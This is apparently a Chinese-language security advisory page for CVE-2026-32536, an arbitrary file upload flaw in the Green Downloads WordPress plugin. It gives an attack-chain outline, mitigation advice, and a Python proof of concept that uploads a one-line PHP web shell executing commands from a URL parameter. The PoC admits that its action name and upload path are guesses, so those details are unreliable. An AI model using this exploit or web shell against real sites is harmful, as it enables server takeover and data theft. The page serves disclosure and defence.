IPBUF安全漏洞报告
English
CVE-2026-32536 CVSS 9.9 严重

CVE-2026-32536 WordPress插件任意文件上传漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2026-32536
漏洞类型
任意文件上传
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
halfdata Green Downloads

相关标签

WordPress文件上传RCEGreen DownloadsCVE-2026-32536

漏洞概述

halfdata Green Downloads WordPress插件存在严重的任意文件上传漏洞。由于未对上传文件的类型进行严格校验,低权限攻击者可上传恶意文件。该漏洞CVSS评分9.9,攻击者无需用户交互即可利用,可能导致远程代码执行,完全控制受影响的服务器,造成数据泄露、篡改等严重后果。受影响版本为2.08及以下所有版本。

技术细节

该漏洞的核心在于插件文件上传功能缺乏有效的安全过滤机制。在处理用户上传请求时,程序未正确验证文件的扩展名和MIME类型,导致攻击者可以绕过前端限制,直接上传如.php、.phtml等可执行的WebShell脚本。由于CVSS向量中显示权限要求低(PR:L)且范围可变(S:C),一旦文件上传成功并存储在Web根目录下,攻击者只需通过HTTP请求访问该文件,即可在服务器上下文中执行任意系统命令。这使得攻击者能够窃取数据库凭证、安装后门或横向移动至内网其他系统。

攻击链分析

STEP 1
侦察
攻击者识别目标站点安装了受影响的halfdata Green Downloads插件(版本<=2.08)。
STEP 2
获取权限
攻击者注册或获取一个低权限账户(PR:L),因为该漏洞不需要管理员权限。
STEP 3
漏洞利用
攻击者构造包含恶意PHP代码的文件,并通过插件的上传接口发送特制的HTTP POST请求,绕过文件类型检查。
STEP 4
执行代码
文件被上传到Web可访问目录,攻击者通过浏览器访问该恶意文件,触发服务器端代码执行(RCE)。
STEP 5
维持访问
攻击者通过WebShell进一步植入后门,提升权限,窃取数据或破坏系统完整性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" login_url = "http://example.com/wp-login.php" # Attacker credentials (Low privilege user) username = "attacker" password = "password" # 1. Authenticate to the WordPress site session = requests.Session() payload = { 'log': username, 'pwd': password, 'redirect_to': target_url, 'wp-submit': 'Log In' } session.post(login_url, data=payload) # 2. Prepare the malicious file upload # Exploiting the 'halfdata-paypal-green-downloads' upload vulnerability files = { 'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php') } data = { 'action': 'halfdata_upload_action' # Hypothetical action name based on plugin structure } # 3. Send the upload request response = session.post(target_url, files=files, data=data) # 4. Check if upload was successful if response.status_code == 200 and "success" in response.text: print("[+] File uploaded successfully!") # Assuming the upload directory is predictable shell_url = "http://example.com/wp-content/uploads/shell.php" print(f"[+] Access your shell at: {shell_url}?cmd=whoami") else: print("[-] Upload failed.")

影响范围

halfdata Green Downloads <= 2.08

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用该插件以阻断攻击路径。同时,应检查服务器日志中是否存在异常的文件上传记录,并扫描Web目录中是否已存在恶意的PHP脚本文件。在Web服务器配置层面(如Nginx或Apache),禁止在/wp-content/uploads/等目录下执行PHP脚本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表